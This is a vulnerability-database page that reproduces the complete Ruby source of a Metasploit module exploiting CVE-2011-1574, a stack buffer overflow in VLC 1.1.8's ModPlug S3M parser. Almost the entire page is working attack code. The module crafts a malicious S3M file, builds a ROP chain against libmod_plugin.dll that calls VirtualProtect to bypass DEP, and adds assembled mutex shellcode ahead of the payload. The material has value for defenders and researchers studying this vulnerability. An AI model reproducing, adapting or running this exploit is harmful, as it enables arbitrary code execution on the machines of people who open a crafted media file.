Lucene search
K

VideoLAN VLC Media Player 1.1.8 - ModPlug ReadS3M Stack Buffer Overflow (Metasploit)

🗓️ 08 Apr 2011 00:00:00Reported by MetasploitType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 48 Views

VideoLAN VLC Media Player 1.1.8 - ModPlug ReadS3M Stack Buffer Overflo

Related
Code
##
# $Id: vlc_modplug_s3m.rb 12282 2011-04-08 15:48:53Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'VideoLAN VLC ModPlug ReadS3M Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits an input validation error in libmod_plugin as
				included with VideoLAN VLC 1.1.8. All versions prior to version 1.1.9
				are affected. By creating a malicious S3M file, a remote attacker
				could execute arbitrary code.

				Although other products that bundle libmodplug may be vulnerable, this
				module was only tested against VLC.

				NOTE: As of July 1st, 2010, VLC now calls SetProcessDEPPoly to
				permanently enable NX support on machines that support it. As such,
				this module is capable of bypassing DEP, but not ASLR.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'jduck' ],
			'Version'        => '$Revision: 12282 $',
			'References'     =>
				[
					[ 'CVE', '2011-1574' ],
					[ 'OSVDB', '72143' ],
					#[ 'BID', 'xxx' ],
					[ 'URL', 'http://modplug-xmms.git.sourceforge.net/git/gitweb.cgi?p=modplug-xmms/modplug-xmms;a=commitdiff;h=aecef259828a89bb00c2e6f78e89de7363b2237b' ],
					[ 'URL', 'http://hackipedia.org/File%20formats/Music/html/s3mformat.php' ],
					[ 'URL', 'https://www.sec-consult.com/files/20110407-0_libmodplug_stackoverflow.txt' ],
					[ 'URL', 'http://seclists.org/fulldisclosure/2011/Apr/113' ]
				],
			'Payload'        =>
				{
					'Space'		=> 512 - 0x24, # Space reserved for prepended mutex code
					#'DisableNops'	=> true,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'VLC 1.1.8 on Windows XP SP3',
						{
							# vuln is in libmod_plugin.dll, rop is custom to this module
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Apr 07, 2011', # "found: 2011-03-09"
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'msf.s3m']),
			], self.class)
	end

	def exploit

		num_orders = 0x14
		num_instru = 0x15
		num_patterns = 0x18

		hdr = "\x00" * 0x1c # song name (none)
		hdr << [
			0x1a,   # static byte
			0x10,   # ST3 module
			0x00,   # padding
			num_orders,
			num_instru,
			num_patterns,
			0x00,   # Flags
			0x1320, # Created with (which tracker)
			0x02,   # File format information
		].pack('CCvvvvvvv')
		hdr << "SCRM"

		hdr << [
			0x40, # global volume
			0x06, # initial speed
			0x8a, # initial tempo
			0xb0, # master volume
			0x10, # ultra click removal
			0xfb  # NOTE, non-0xfc value skips an additional loop!
			# 0xfc == default channel pan positions present
		].pack('CCCCCC')
		hdr << "\x00" * 10  # includes pad and special pointer

		# channel settings (for 32 channels)
		hdr << "\x00\x08\x01\x09\x02\x0a\x03\x0b\x04\x0c\x05\x0d\x06\x0e\x07\x0f"
		hdr << "\xff" * 16

		# orders
		hdr << "\x07\x08\x0c\x09\x0a\x0b\x0b\x0d\x0e\x0f\x0f\x0f\x10\x11\x12\x13"
		hdr << "\x14\x16\x17\xff"

		# parapointers to instruments
		hdr << [ 0x0f ].pack('v') * num_instru

		# parapoitners to patterns
		hdr << [ 0x78 ].pack('v') * num_patterns

		# channel default pan positions
		hdr << "\x00" * 32

		# instruments
		instru = "\x01metasplo.ity"
		rest = "\x00" * ((0x50 * num_instru) - instru.length)

		# Build the rop stack
		rvas = rvas_libmod_plugin_xpsp3()
		rop = generate_rop(rvas)
		zero_ptr = rva2addr(rvas, 'Scratch') + 4
		mutex_addr = rva2addr(rvas, 'Scratch') + 8
		imp_Sleep = rva2addr(rvas, 'imp_Sleep')

		# A mutex to prevent double payloads
		locking_code = <<-EOS
	mov ebx, [ #{imp_Sleep} ]
	jmp test_lock

sleep:
	push 0xdeadbeef
	call ebx

test_lock:
	mov eax, [ #{mutex_addr} ]
	test eax,eax
	jnz sleep

	lock cmpxchg [ #{mutex_addr} ], ebp
	test eax,eax
	jnz sleep

EOS
		rop << Metasm::Shellcode.assemble(Metasm::Ia32.new, locking_code).encode_string
		rop << payload.encoded

		# This becomes the new EIP (after return)
		ret = rva2addr(rvas, 'pop eax / ret')
		rest[1267, 4] = [ ret ].pack('V')

		# In order to force return, we smash the this ptr on the stack and point
		# it so that m_nChannels turns out to be 0.
		rest[1271, 4] = [ zero_ptr - 0xe910 ].pack('V')

		# Add the ROP stack and final payload here
		rest[1275, rop.length] = rop
		instru << rest

		# patterns
		patt = [ 0x10 ].pack('v')
		patt << "\x00" * 0x10


		# finalize the file
		s3m = ""
		s3m << hdr

		instru_pad = (0x0f * 0x10) - hdr.length
		s3m << "\x80" * instru_pad
		s3m << instru


		# patch in exploit trigger values
		s3m[0x22, 2] = [ 0x220 ].pack('v')
		s3m[0x24, 2] = [ 0x220 ].pack('v')


		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(s3m)

	end

	def rvas_libmod_plugin_xpsp3()
		# libmod_plugin.dll from VLC 1.1.8 (Win32)
		# Just return this hash
		{
			# Used as 'Ret' for target
			'ret'                    => 0x1022,
			'push eax / ret'         => 0x1cc4d,
			'pop eax / ret'          => 0x598a2,
			'mov eax, [eax+0x1c] / ret' => 0x542c9,
			'pop ebx / pop ebp / ret' => 0x25e2f,
			'add eax, 4 / pop ebp / ret' => 0x7028,
			'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret' => 0x23dad,
			'sub eax, ebx / pop ebx / pop edi / pop ebp / ret' => 0x7d64,
		}
	end

	def generate_rop(rvas)
		# ROP fun! (XP SP3 English, Apr 10 2011)
		rvas.merge!({
			# Instructions / Name    => RVA
			'BaseAddress'            => 0x653c0000,
			'imp_VirtualProtect'     => 0xec2f0 - 0x1c,  # adjust for gadget used to resolve
			'imp_Sleep'              => 0xec2dc,
			'Scratch'                => 0x5fbfc,
			'Data'                   => 0x60101,
			#'DataAdjusted'           => 0x60000 - 0x58 + 0x8,
			'DataAdjusted'           => 0x60000 - 0x58,
		})

		copy_stage = <<-EOS
	nop
	push esp
	pop esi
	lea edi, [eax+0x10]
	push 0x7f
	pop ecx
	inc ecx
	rep movsd
EOS
		copy_stage = Metasm::Shellcode.assemble(Metasm::Ia32.new, copy_stage).encode_string
		if (copy_stage.length % 4) > 0
			raise RuntimeError, "The copy stage is invalid"
		end

		rop_stack = [
			# Resolve VirtualProtect
			'pop eax / ret',
			'imp_VirtualProtect',
			'mov eax, [eax+0x1c] / ret',

			# Call VirtuaProtect
			'push eax / ret',
			'pop eax / ret',   # after VirtualProtect
			# Args to VirtualProtect
			'Data',      # lpAddress (place holder, filled in @ runtime above)
			0x1000,      # dwSize
			0x40,        # flNewProtect
			'Scratch',   # lpflOldProtect

			# Load the pre-adjusted Data addr
			'DataAdjusted', # matches pop eax / ret above

			##
			# Write our code little stager to our newly executable memory.
			##

			# Load the last 32-bits of code to write
			'pop ebx / pop ebp / ret',
			copy_stage[0, 4].unpack('V').first,
			:unused, # ebp

			# Write & advance
			'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',
			copy_stage[4, 4].unpack('V').first,
			:unused, # esi
			:unused, # edi
			:unused, # ebp
			'add eax, 4 / pop ebp / ret',
			:unused, # ebp

			# Write & advance
			'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',
			copy_stage[8, 4].unpack('V').first,
			:unused, # esi
			:unused, # edi
			:unused, # ebp
			'add eax, 4 / pop ebp / ret',
			:unused, # ebp

			# Write & advance
			'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',
			0xffffffb0,  # adjustment value
			:unused, # esi
			:unused, # edi
			:unused, # ebp

			# Adjust eax
			'sub eax, ebx / pop ebx / pop edi / pop ebp / ret',
			:unused, # ebx
			:unused, # edi
			:unused, # ebp

			# Execute the copy stage
			'push eax / ret',
		]

		rop_stack.map! { |e|
			if e.kind_of? String
				# Meta-replace (RVA)
				raise RuntimeError, "Unable to locate key: \"#{e}\"" if not rvas[e]
				rvas['BaseAddress'] + rvas[e]

			elsif e == :unused
				# Randomize
				rand_text(4).unpack('V').first

			else
				# Literal
				e
			end
		}

		rop_stack.pack('V*')
	end

	def rva2addr(rvas, key)
		raise RuntimeError, "Unable to locate key: \"#{key}\"" if not rvas[key]
		rvas['BaseAddress'] + rvas[key]
	end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation